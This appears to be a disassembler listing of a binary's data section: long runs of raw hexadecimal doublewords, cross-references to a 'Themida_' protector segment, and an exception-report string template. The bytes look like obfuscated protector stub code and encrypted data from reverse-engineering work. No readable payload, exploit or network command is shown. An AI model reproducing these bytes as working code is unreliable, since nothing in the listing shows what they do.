46000000h, 9ACBC356h dd 0C8FC970h, 0CEBF0FE7h, 22258D89h, 858D0610h, 6100CB5h dd 0F58589h, 408B0610h, 3D958918h, 0C7061013h, 10059985h dd 6, 85895300h, 6101649h, 0E5BD835Ah, 61022h, 1C840Fh dd 9D890000h, 6102DA5h, 8C3Dh, 10830F00h, 8B000002h, 1027698Dh dd 0DE906h, 983D0000h, 0F000000h, 1FA83h, 8DCE8A00h, 5B243B85h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0BD8B5C98h, 6101DE5h, 0C781D0FFh, 5D752AD3h dd 1E8E858Dh, 840F005Bh, 3, 0FFFE8B66h, 56006AD0h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 32622616h, 8B419C69h, 1004E595h, 6AC08B06h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0C1BBC355h, 1834D295h, 68F0F52h, 3000000h, 100B758Dh dd 0BD835A06h, 610158Dh, 83097500h, 100095BDh, 19740006h dd 0C08B5350h, 0BC6B8h, 65858900h, 8D06100Eh, 12B8159Dh dd 5BD3FF06h, 95BD8358h, 61000h, 53501774h, 0BC6B8h, 65858900h dd 8D06100Eh, 12B5049Dh, 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0AD4FDFE9h dd 0AECF6CAAh, 0F181BAACh, 5394BE2Fh, 11659D01h, 0C08B0610h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0F2C35242h dd 0F883CE8Ah, 45850FFFh, 0E8000000h, 10h, 8C3FA23Dh, 18E7B741h dd 0E6F4160Ah, 8D308F3Dh, 30959D31h, 0C75A0610h, 10282D85h dd 6, 0C2F8BA00h, 33E955C4h, 57000001h, 0E95FD78Ah, 49h dd 6830Fh, 8D8B0000h, 61006FDh, 0F01F883h, 3485h, 13E900h dd 6B8F0000h, 1D6E8700h, 0ED7EAD9Bh, 12D329BBh, 6C90CBDCh dd 99958B4Dh, 0E9061022h, 149h, 0CE9h, 84F30000h, 0DE423FB8h dd 12A3F7BEh, 0F1E7E98Ch, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0E34AF7C3h, 60554CCCh dd 1FF99D89h, 8B660610h, 816661CBh, 8B2092C1h, 0D18166C0h dd 0BD83F0F8h, 610158Dh, 83097500h, 100095BDh, 19740006h dd 0C08B5350h, 7DDB8h, 65858900h, 8D06100Eh, 12B8159Dh dd 5BD3FF06h, 95BD8358h, 61000h, 53501774h, 7DDB8h, 65858900h dd 8D06100Eh, 12B5049Dh, 5BD3FF06h, 159D2958h, 89061005h dd 1016858Dh, 6AC08B06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0F7AC355h, 566E8D06h dd 68E0Fh, 0BD8B0000h, 6100B41h, 0CBBF0F59h, 267E9h, 9E800h dd 0F29C0000h, 0E34FF5A9h, 89701C03h, 101491B5h, 858D5A06h dd 6130392h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 9EC35040h, 1FA8FA26h, 8BE1194Eh, 8A8589FBh, 89061305h dd 10012585h, 0FE806h, 0C1D80000h, 6E292C94h, 24D470CFh dd 7E3653ECh, 8C5ABF20h, 0E95F3B1Ch, 62h, 9A858DF8h, 8A061301h dd 6A40F5h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 8AB59AC3h, 0AF95FCD0h, 8589FA8Bh, 613058Ah dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0DBC35141h dd 4B6F92AFh, 0F10CA74h, 584h, 0D7816600h, 346A4287h, 14E9858Dh dd 0FF500610h, 13058AB5h, 0FF006A06h, 1012F595h, 7F88306h dd 168840Fh, 8C660000h, 4C3F6DBh, 102850Fh, 85C60000h dd 61023E5h, 0B8526856h, 0B5FF9CA8h, 6101499h, 3A32858Dh dd 0D0FF0610h, 68046Ah, 6A000010h, 0FF006A64h, 0FD8589D0h dd 0C6061305h, 1023E585h, 9B684706h, 0FFEC18ACh, 101499B5h dd 32858D06h, 0FF06103Ah, 8BD0FFD0h, 0E585C6F0h, 4F061023h dd 2F266168h, 61B5FFC6h, 8D06102Eh, 103A3285h, 8DD0FF06h dd 1305F99Dh, 286A5306h, 85D0FF56h, 0C60075C0h, 1023E585h dd 98684106h, 0FFDB8764h, 102E61B5h, 32858D06h, 0FF06103Ah dd 168589D0h, 0C6061306h, 1023E585h, 0A4684C06h, 0FF80A4E7h dd 102E61B5h, 32858D06h, 0FF06103Ah, 0FD9D8BD0h, 8D061305h dd 8D53045Bh, 1306029Dh, 6A5306h, 9D8BD0FFh, 61305FDh dd 103C7h, 43C70000h, 20Ch, 619D8B00h, 0C7061011h, 1001E585h dd 6, 6A006A00h, 8B006A00h, 1305FD9Dh, 6A5306h, 5F9B5FFh dd 95FF0613h, 6130616h, 23E585C6h, 68450610h, 92A5F797h dd 20E5B5FFh, 858D0610h, 6103A32h, 6AD0FFh, 0D0FF026Ah dd 0F6DB8C66h, 327504C3h, 5FD9D8Bh, 43C70613h, 0Ch, 6A006A00h dd 0FD9D8B00h, 53061305h, 0B5FF006Ah, 61305F9h, 61695FFh dd 0B5FF0613h, 61305F9h, 162195FFh, 6A0610h, 9AD95FFh dd 0B5890610h, 6100625h, 61F38B60h, 3B04858Dh, 95290613h dd 61012F1h, 0EA816050h, 240648A4h, 35FF6461h, 0 dd 258964h, 31000000h, 1014558Dh, 5BD8306h, 61031h, 7B840Fh dd 8D8B0000h, 6102885h, 9BD83FCh, 1061022h, 67850Fh, 8B660000h dd 51BD89CBh, 80061005h, 130A16BDh, 850F0006h, 51h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 83C35343h, 387FFFC5h dd 0FE93Eh, 2E300000h, 838DAD98h, 877BDAD7h, 0C9766C23h dd 8C0F6045h, 5, 5BF38166h, 61605235h, 84E9615Fh, 29000001h dd 100C118Dh, 6ADB3306h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 47BDC352h, 5E97Ch dd 92E30000h, 33C9773Bh, 0A42FB9C0h, 0BD8B76C1h, 610319Dh dd 73F0F40h, 58F640Bh, 0 dd 8904C483h, 100A75BDh, 2BCF8B06h, 101FCD95h, 0FB83F906h dd 29840FFFh, 8B000000h, 101A85BDh, 10BE906h, 12E80000h dd 0C2000000h, 0B90B51C2h, 5AD351FAh, 0D7627D50h, 0F2F87003h dd 9BD332Dh, 5F061028h, 81E9h, 4810F00h, 66000000h, 8BA294BAh dd 0C70C244Ch, 0A481h, 0FFFFFF00h, 0B88183FFh, 4000000h dd 8BC3C033h, 550C245Ch, 0E8h, 0ED815D00h, 6133B26h, 0B8838Bh dd 858D0000h, 6133BECh, 0B88389h, 335D0000h, 0E180C3C0h dd 81666056h, 1399CEEh, 10015195h, 6A6106h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 50D648C3h dd 0EF9E5AF9h, 4D59D89h, 858D0610h, 6133B1Ch, 0A9F18166h dd 9EB650C0h, 35FF64h, 0F000000h, 686h, 1DBD2900h, 64061020h dd 2589h, 12E90000h, 0CD000000h, 0BE9616CCh, 497DA17Fh dd 359D2101h, 10568921h, 0AB91Eh, 4B80000h, 54855D7h, 0DF78164h dd 85D465BBh, 0B640BA86h, 0EA810034h, 345FE8h, 68FB81EDh dd 75564D58h, 1185C70Ah, 106102Dh, 64000000h, 58Fh, 0C4830000h dd 0BF0FF504h, 66C08BCBh, 0F8D9F181h, 0BC1BD8Bh, 0BD830610h dd 610158Dh, 83097500h, 100095BDh, 19740006h, 0C08B5350h dd 43DB8h, 2D858900h, 8D061013h, 12B87C9Dh, 5BD3FF06h dd 95BD8358h, 61000h, 53501774h, 43DB8h, 2D858900h, 8D061013h dd 12B51D9Dh, 5BD3FF06h, 0D68B6658h, 5D98589h, 0D38B0610h dd 47E9C08Bh, 4000001h, 31000000h, 3031392Eh, 7 dup(0) db 0 aExceptionInfor db 'Exception Information',0 aPleaseContactT db 'Please, contact the software developers with the following codes.' db ' Thank you.',0Ah db 0Dh,0Ah db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah db 0Dh,0Ah db 0Dh,'Version = %s',0Ah db 0Dh,'CheckIN = %d',0Ah db 0Dh,'CheckOUT = %d',0Ah db 0Dh,'ProcIN = %d',0Ah db 0Dh,'ProcOUT = %d',0Ah db 0Dh,'ExitIN = %d',0Ah db 0Dh,'ExitOUT = %d',0Ah db 0Dh,'TPin = %d',0Ah db 0Dh,0 dw 0BD83h dd 61015BDh, 2D840F00h, 8D000001h, 12B33485h, 858D5006h dd 612B29Eh, 16850h, 95FF8000h, 612B344h, 3C64858Dh, 8D500613h dd 133C6E85h, 6A5006h, 858D006Ah, 612B2B2h, 34B5FF50h dd 0FF0612B3h, 10145195h, 64858D06h, 5006133Ch, 3C72858Dh dd 6A500613h, 8D006A00h, 12B2C485h, 0B5FF5006h, 612B334h dd 145195FFh, 858D0610h, 6133C64h, 7E858D50h, 5006133Ch dd 6A006Ah, 0B311858Dh, 0FF500612h, 12B334B5h, 5195FF06h dd 8D061014h, 133C6485h, 858D5006h, 6133C86h, 6A006A50h dd 2F858D00h, 500612B3h, 0B334B5FFh, 95FF0612h, 6101451h dd 3C64858Dh, 8D500613h, 133C8285h, 6A5006h, 858D006Ah dd 612B318h, 34B5FF50h, 0FF0612B3h, 10145195h, 64858D06h dd 5006133Ch, 3C76858Dh, 6A500613h, 8D006A00h, 12B32085h dd 0B5FF5006h, 612B334h, 145195FFh, 858D0610h, 6133C64h dd 7A858D50h, 5006133Ch, 6A006Ah, 0B327858Dh, 0FF500612h dd 12B334B5h, 5195FF06h, 0FF061014h, 12B334B5h, 8D95FF06h dd 0E9061005h, 0A2h, 959BD83h, 0F000610h, 9584h, 9BD8300h dd 61022h, 11850Fh, 958B0000h, 6102955h, 1CF8C281h, 0FE90000h dd 8D000000h, 100CB595h, 34528B06h, 0C340C281h, 95893BD4h dd 6100701h, 701BD83h, 0F000610h, 5584h, 19D8B00h, 83061007h dd 38B4CC3h, 3C6E8589h, 9D8B0613h, 6100701h, 8B50C383h dd 72858903h, 8B06133Ch, 1007019Dh, 54C38306h, 8589038Bh dd 6133C7Eh, 7019D8Bh, 0C3830610h, 89038B58h, 133C8285h dd 19D8B06h, 83061007h, 38B5CC3h, 3C768589h, 0BD830613h dd 61015BDh, 0D850F00h, 83000000h, 100959BDh, 840F0006h dd 68h, 3C86B5FFh, 0B5FF0613h, 6133C7Ah, 3C76B5FFh, 0B5FF0613h dd 6133C82h, 3C7EB5FFh, 0B5FF0613h, 6133C72h, 3C6EB5FFh dd 858D0613h, 6133C68h, 0A0858D50h, 5006133Ch, 2B01858Dh dd 0FF500610h, 10025195h, 24C48306h, 858D406Ah, 6133C8Ah dd 1858D50h, 5006102Bh, 95FF006Ah, 61012F5h, 95FF016Ah dd 61009ADh, 0BE8C18Bh, 0AE000000h, 0B65CE155h, 0E4738EE0h dd 8C0FE927h, 0Bh, 0B8E68060h, 0BA74D181h, 5F615B91h, 6ACD8060h dd 62D88166h, 0C7816197h, 5F48h, 0C680C033h, 3834FFDEh dd 0FE9h, 0CBB6E900h, 990EEF2h, 55251F25h, 0B907AFB6h dd 0F3816659h, 0E9811358h, 1021945Fh, 5D1EBE66h, 8274F181h dd 0E95058ABh, 6, 0DB84E4B2h, 815BB6B2h, 0CAFBEEF1h, 0C89F565h dd 51DB8007h, 8338F780h, 0E38102E8h, 0FB8E10Bh, 8B664848h dd 7CF881D6h, 0FFFFFA1h, 1B85h, 8B665300h, 28E95ADEh, 0AF000000h dd 9A4A1CDDh, 0CB3C18D9h, 90D78930h, 76413D18h, 0BBADBA66h dd 0FFFF78E9h, 0C88E6FFh, 2D39E78Eh, 352D7A32h, 60AC71B1h dd 0E8D78B66h, 13h, 7AB4E3F2h, 0A312185Fh, 2EBAFC7Fh, 880E05C2h dd 0E82F03A4h, 13h, 0E302B385h, 6D272884h, 5D56EC79h, 0EB7F286Ch dd 66F3ED26h, 0FB2DDA81h, 0C08B5A59h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0EFC35242h, 0AD1C0E51h, 83F08B29h dd 10158DBDh, 9750006h, 95BD83h, 74000610h, 8B535019h dd 40EB8C0h, 85890000h, 6100E65h, 0B8159D8Dh, 0D3FF0612h dd 0BD83585Bh, 6100095h, 50177400h, 40EB853h, 85890000h dd 6100E65h, 0B5049D8Dh, 0D3FF0612h, 0E180585Bh, 52006A0Fh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 36BC3496h, 84952B71h, 0B966F56Ah, 0C08B4C1Dh, 83F0BF0Fh dd 103105BDh, 840F0006h, 17h, 7E9h, 0B4C04800h, 60E70F41h dd 2FEE9h, 98C98100h, 8C505C64h, 0AE9DFh, 95D0000h, 0D8F0A148h dd 432A13E7h, 4C7F766h, 0DC850F00h, 6A000002h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 830FC357h, 1022E5BDh, 850F0006h, 97h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 14h, 75C35242h, 0FE8h dd 2B47F200h, 98F92E13h, 44CCDB8Eh, 0F9FA91E8h, 0EAE68166h dd 840F5ACAh, 19h, 14E9h, 0D2F85000h, 0BFFD9D19h, 8AEC0D4Fh dd 0C500B961h, 8426E09Eh, 259E9CDh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 9DED40C3h dd 25025569h, 0F181665Ah, 10E92B3Bh, 7E000000h, 6E52CDB3h dd 47DD9002h, 6D5AEEDCh, 2B47B9EEh, 0D98166FFh, 9D8D9B7Ah dd 6134467h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 4DC35545h, 0ED9637C1h, 623DAB63h, 3860F17h, 80000000h dd 0BE66D6D6h, 6650B10Ah, 89245FB9h, 850F241Ch, 0Ah, 815F5260h dd 5F032ED2h, 0FF646163h, 35h, 5860F00h, 66000000h, 0A7EBC981h dd 258964h, 0B6000000h, 81C48BA9h, 9E2AC9EAh, 0EB01CD57h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 3BA2E123h, 2890F67h, 8A000000h, 5E8D1h dd 0B4CB0000h, 0E94FE862h, 9, 5F1C6E5h, 360A387Bh, 8F645A67h dd 5, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 4814C7C7h, 0E3DEC142h, 4C48380h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0A5C35646h dd 2CD23DDBh, 0B1CDDAFh, 4840FC0h, 0BE000001h, 3320850Ah dd 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0A2727453h, 0A3BD8DAEh, 0E8061073h, 11h dd 2063F439h, 5EF6ED3Bh, 6FBA1F74h, 0F6E41423h, 0BE807h dd 6CB00000h, 0B025206Dh, 32A710F5h, 13E87Ch, 67420000h dd 0A7D7664Ch, 0BB0C0353h, 0DB6DC96Eh, 43C82265h, 5E5E5EC8h dd 1B8h, 68B9B900h, 0C2813C4Dh, 784756B9h, 6AE7FFh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 8B57A7C3h, 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h dd 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9FC35141h, 0E5FC40E2h dd 0E8AA81EEh, 13h, 0FDAD48E5h, 3DB6C30Fh, 0BC8E33DFh dd 0D13CDED0h, 0FD981EFh, 588h, 0D2816600h, 615A4EC3h dd 0DE9h, 16F0800h, 0C65BA70Fh, 6612ED9Fh, 0C08B1D0Dh dd 83F08B66h, 10158DBDh, 9750006h, 95BD83h, 74000610h dd 8B535019h, 40EB8C0h, 85890000h, 610132Dh, 0B87C9D8Dh dd 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h, 40EB853h dd 85890000h, 610132Dh, 0B51D9D8Dh, 0D3FF0612h, 6A585Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 772B0BC3h, 0F469BEB9h, 6A0863h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 596457C3h, 0DD38F480h dd 0E9DE6FBFh, 0Bh, 2B69DB71h, 97CCDC2Dh, 0F523B354h, 56BFBE66h dd 13E9C08Bh, 0A0000000h, 0F00D8BCEh, 0EBA2B1B4h, 0D8485A5Bh dd 62BFBACFh, 0C28B0211h dd 0F31718EBh, 9B46h, 4 dup(0) dd 0BE90000h db 2, 2 dup(0) aLS db '`‹\$$è',0 ; DATA XREF: Themida_:0054E734o align 10h dd 0ED815D00h, 61345D6h, 4C261h, 0FFFFE6E9h, 0C26160FFh dd 0F6E90008h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh dd 0F6E90008h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0FFh, 0 dd 0C3616000h, 0FFFFF8E9h, 0EB58BFFh, 81061346h, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 12B53B00h, 0F061346h dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h dd 0FC00A03h, 1984h, 0BB535000h, 2, 701858Bh, 18860610h dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh dd 2474FF50h, 0C995FF08h, 50061032h, 244C010Fh, 0C08358FEh dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch dd 840FC00Ah, 9, 701858Bh, 0C60610h, 4FF5800h, 4C224h dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h dd 2BB00h, 858B0000h, 6100701h, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 6100E6Dh, 0 aLdLs db '‹D$',8,'‹˜',0 db 10h dd 98890000h, 1000h, 1889188Bh, 0AE9h, 6D85C700h, 6100Eh dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh, 840F003Eh dd 31h, 3AB7A1BBh, 0B101B076h, 13E901h, 8AAC0000h, 32C302C8h dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah, 0FFFFE585h, 0FD20BFFh dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h dd 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h, 8A37465Ah dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh, 0BB60C35Bh dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h, 850FD20Bh dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 0B385C700h dd 1061345h, 50000000h, 244C010Fh, 0B7858FFEh, 8D061345h dd 1345AF85h, 0B7BD8D06h, 89061345h, 23E938h, 858D0000h dd 6100CB5h, 538408Bh, 9B46F317h, 45AF8589h, 858D0613h dd 6100CB5h, 893C408Bh, 1345B385h, 0CC858D06h, 89061345h dd 1032C985h, 87E906h db 2 dup(0) word_57FCAA dw 8B52h ; DATA XREF: Themida_:0054BDE4o dd 728B60D4h, 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h dd 728BDB33h, 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh, 98040000h dd 0D8321334h, 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh dd 8C25A5Eh, 3F858D00h, 89061348h, 10097985h, 67858D06h dd 89061348h, 101E9985h, 8F858D06h, 89061348h, 100CAD85h dd 8EB06h, 0 dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 10220985h dd 7858D06h, 8B061379h, 888B08h, 8B000010h, 4A8B660Ah dd 0F08D89FCh, 83061348h, 1022E5BDh, 840F0006h, 0Fh, 0FF006A60h dd 1031C995h, 0C4E96106h, 66FFFFFFh, 0C1FC7289h, 896610CEh dd 0CD520272h, 85895A04h, 61348ECh, 48F0B58Bh, 0CEC10613h dd 72896610h, 0F0B58B02h, 66061348h, 61FC7289h, 48EC858Bh dd 8DC30613h, 10172195h, 1958906h, 89061007h, 1010C595h dd 0C585FF06h, 0C6061010h, 1023E585h, 0D8685306h, 0FFFCB148h dd 101499B5h, 32858D06h, 0FF06103Ah, 0C98589D0h, 8D061031h dd 1345E685h, 0B9858906h, 0EB061006h, 5A4E900h, 98E90000h dd 68000005h, 6134AA7h, 0FD369FE9h, 4BBB68FFh, 95E90613h dd 68FFFD36h, 6134C2Dh, 0FD368BE9h, 4CF068FFh, 81E90613h dd 68FFFD36h, 6134DFCh, 0FD3677E9h, 478A3CFFh, 255C0493h dd 427B32A9h, 1F5C0F86h, 39782CABh, 97B8785h, 25B42867h dd 10874384h, 2CAB1F5Ah, 9F8A3E73h, 3554EE9Dh, 33B06BDFh dd 5F04D769h, 27F93419h, 668AA1DAh, 0EAA1B6BAh, 6DCC695Ch dd 0CC6901C1h, 6957EE6Dh, 608D6DCCh, 0F711B44Eh, 0AF5C7195h dd 6DCC7B17h, 0CC7B4FF8h, 7B16B06Dh, 0C251EDCCh, 7F444719h dd 97E7FC28h, 0AE9FC19Bh, 226D6CE6h, 0E95950F1h, 0D142355h dd 9B183511h, 205F11E7h, 5D118844h, 72816E22h, 1B949769h dd 0B31E133Bh, 1855FAC1h, 0A121086Ch, 451E136Fh, 0EA600DE9h dd 0A4C03AD3h, 40FE7F0h, 0DB8B0000h, 0EF952498h, 0D07504B8h dd 0EF942397h, 0CD7FF6B2h, 0D02C1A8Eh, 0FBAFEEA2h, 0D488C97Ch dd 0F266A145h, 0D387BC63h, 9D25E4D8h, 796BDF36h, 7932B07Ch dd 0BC095044h, 666DCC7Ch, 63A44514h, 397018AFh, 0F00DE94Dh dd 0D912B44Bh, 973A778Bh, 0A1C6AA56h, 587503EBh, 3BEF24DBh dd 22CE03BCh, 0DBC7FCA3h, 0DF46DD7Eh, 8437F328h, 336AF829h dd 37B09h, 62493700h, 6DCC4EE0h, 79532804h, 0B49296D7h dd 3CAB20C9h, 68DB6722h, 0DF3B6DCCh, 659A510Ah, 685DEAB1h dd 390A6DCCh, 0AFE49B9Ah, 7D2C10FBh, 6DCC68C5h, 0B02B4521h dd 52CEC2F7h, 5C128975h, 752EAD21h, 5D5F5440h, 984FC682h dd 7518AF63h, 68F74B3Eh, 9F486DCCh, 0C2BAB66Ah, 0ECCE8A66h dd 68AB1712h, 344B6DCCh, 5B70548Dh, 0CC6816B0h, 809FCC6Dh dd 1E9DD7D7h, 8425AECBh, 53624F43h, 532B9792h, 0B4CB6DCCh dd 4125D110h, 7C2F4125h, 67FC2553h, 3E0AAFABh, 0F04A15E1h db 24h, 0B3h, 0FBh byte_580023 db 2 ; DATA XREF: Themida_:0054C800o dd 0D7770000h, 0EBA11894h, 0CC81F8B4h, 0EBA01793h, 0C97BFAAEh dd 0ACD8CE8Ah, 8F4B8A3Eh, 0A8246508h db 31h, 7Dh word_580046 dw 8642h ; DATA XREF: ___:off_43285Co ; ___:00432864o ... dd 0A723580Fh, 71D1B8C4h, 956BDF37h, 79328C18h, 92395044h dd 7F32A95Dh, 23DB8A3Eh, 0C46DCC7Ch, 6DCC0C7Ah, 2DD91ACBh dd 338CC07Eh, 0C8787F92h, 0EE00E425h, 77E4CFDh, 637811E8h dd 46318E7Dh, 51CD9803h, 0AFE6AECh, 4750444Ah, 289h, 0A6226505h dd 8642792Fh, 0AD215A0Fh, 803C792Eh, 0A41857F9h, 84285AA6h dd 5F128945h, 772BAA1Eh, 52F9803Ch, 0D2AEA11Dh, 0DF306BD7h dd 860E8B6Bh, 50447932h, 0A95D9239h, 0F130CFF4h, 9649053Ah dd 336B363Bh, 21F1Bh, 44027100h, 0D96DCC7Ch, 213DF135h dd 991CC71Eh, 0F336A22h, 2B661C9Bh, 98C80577h, 64FFBBC5h dd 17CB8865h, 0A0548B41h, 0BCEA0C4h, 0F8721E55h, 0CCABB111h dd 0FDD9556Dh, 4F3C0CD0h, 0ACC1A9A3h, 67FE9DFAh, 11CD08BEh dd 6A50834Eh, 596333h, 0DE5D0000h, 1F03EF26h, 0BD5C824Ah dd 0DA8D4C1Eh, 35114C02h, 0F008E541h, 0FC7DF439h, 31969267h dd 4A0A3F3Bh, 0C6B821F5h, 42000001h, 0A914D90h, 28AF2B62h dd 5944881h, 32A92562h, 9D8B3F7Eh, 1251F361h, 2D6E1F96h dd 49842AB1h, 285D0695h, 0C4C7B9B4h, 6BDF307Eh, 32931996h dd 0E2854479h, 0C3C6BAA5h, 6DCC7C67h, 0B8CFC39Fh, 0D463D712h dd 0E7E4F62Bh, 22B0E9ABh, 7D293EE8h, 0F5697688h, 0C985C066h dd 0B0649952h, 83377819h, 8425B488h, 57522643h, 6DCC17EBh dd 9630F0Bh, 86639A52h, 9B4418CDh, 9AB6BA66h, 0CC7D3C1Eh dd 0BE9B978Bh, 55419E1Fh, 0E2568F36h, 0CC179B23h, 9C3FD66Dh dd 7A9AC7C2h, 0EA3C67FCh, 8F83B86Fh, 295EE493h, 0BAB6943Ch dd 1F9AC496h, 9E153269h, 7CFBAFE6h, 663CF2C4h, 989C88BDh dd 0F3C698BCh, 9CD17A4Eh, 9368CCB8h, 134EF493h, 93CA8239h dd 0B86683DFh, 1251F3C6h, 85C6675Eh, 1ECF8C61h, 0FBB229DDh dd 0D2E1CEC2h, 0D734F709h, 8D9E0C47h, 29DD18CEh, 82ED204Dh dd 44CD1C72h, 52F77327h, 400597D4h, 0BAD9CADAh, 36000000h dd 5EDD5194h, 3CBB6FA6h, 9904C85h, 26B52966h, 0A1874382h dd 1655F765h, 317213A2h, 0D48FE7Dh, 0EC21CA51h, 88837D70h dd 6BDF313Ah, 0D737FDDAh, 9BBDC496h, 0BB90D7D8h, 5E124700h dd 978BC067h, 29DB5EC2h, 540303E1h, 886CA6F8h, 0C3C6989Ch dd 6DCCBD7Fh, 0DDBE9B97h, 0F328DF46h, 907B6537h, 6DCCBD32h dd 0CE05BBD2h, 0CF22D5F2h, 0AF336A74h, 24h, 7C45021Dh dd 617F6DCCh, 0B532AA6Ch, 1A01175Fh, 6DCC4CA8h, 5493354Ch dd 27E05B70h, 0BCD36F2h, 3F000000h, 0CC7C4402h dword_580304 dd 0FD32D96Dh, 2321AB41h, 0C96A1657h, 211447F1h, 79D4Ch ; DATA XREF: Themida_:0054CB60o dd 552B0000h, 0C5A2E386h, 3D8032FFh, 64995249h, 3A7519B0h dd 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h, 5B943950h dd 417830A7h, 5457CF55h, 4C7815Fh, 83000000h, 3C8704EFh dd 89535C24h, 4C381E3h, 83000000h, 1C8704EBh, 34895C24h dd 6C306824h, 0C890000h, 0D37BE24h, 0EE83153Eh, 40EE8101h dd 680F2AC3h, 2A86h, 81242489h, 42404h, 50590000h, 4189F089h dd 24048B08h, 8B04C483h, 8950240Ch, 405E0h, 4050000h, 87000000h dd 0FF5C2404h, 835E2434h, 1DE904C4h, 0E2FFFD31h, 0FD5D818Bh dd 8C2367FFh, 0B84B8D65h, 6134EDBh, 0D18BC503h, 51E9h dd 748B6000h, 76032424h, 247C8B3Ch, 81D68B28h, 0F8C2h dd 4E8B6600h, 0C9B70F06h, 0F00F983h, 1684h, 0C7A3B00h dd 158F0Fh, 0EA830000h, 0C428B28h, 2B144A8Bh, 89F82BC1h dd 611C247Ch, 830008C2h, 0F4928C2h, 0FFFFCF85h, 0FFE9E9FFh dd 3EBAFFFFh, 0EB0009FDh, 20h, 7 dup(0) dd 59FE900h, 93E90000h, 68000005h, 61351ADh, 0FD3077E9h dd 525768FFh, 6DE90613h, 68FFFD30h, 61353FEh, 0FD3063E9h dd 546E68FFh, 59E90613h, 1EFFFD30h, 26B5296Ch, 493477Eh dd 31A8245Dh, 0E8D417Eh, 0A99F1B5Ah, 3E7D2F5Dh, 195A0B8Ah dd 357016A5h, 14490279h, 0E0CBB598h, 6BDF2C62h, 329F2582h dd 0C605A77Bh, 607A56DAh, 7C378B7Eh, 53CF6DCCh, 0D6F32ED4h dd 7CC58128h, 8B28EDCCh, 3120F1F4h, 4100B36Bh, 0FE000000h dd 2E4B883Bh, 7C450296h, 0F5046DCCh, 6FEA14E6h, 940E8B8h dd 203D191Dh, 0FBCCF963h, 1A11EF67h, 9420CCA8h, 17C9C74Ch dd 0DAD88A8Eh, 4521E1F6h, 2E2089h, 2B200000h, 0F4AF72B0h dd 0CD5774ABh, 0CC7C4402h, 4CF4036Dh, 0D2AC5899h, 0CC7C6BD7h dd 0B38F8B6Dh, 48FEBD8Fh, 2108F00Dh, 67FBCC87h, 187431Fh dd 4E427B32h, 0CC7CBC07h, 0B7C9B3EDh, 0CC7C4EF4h, 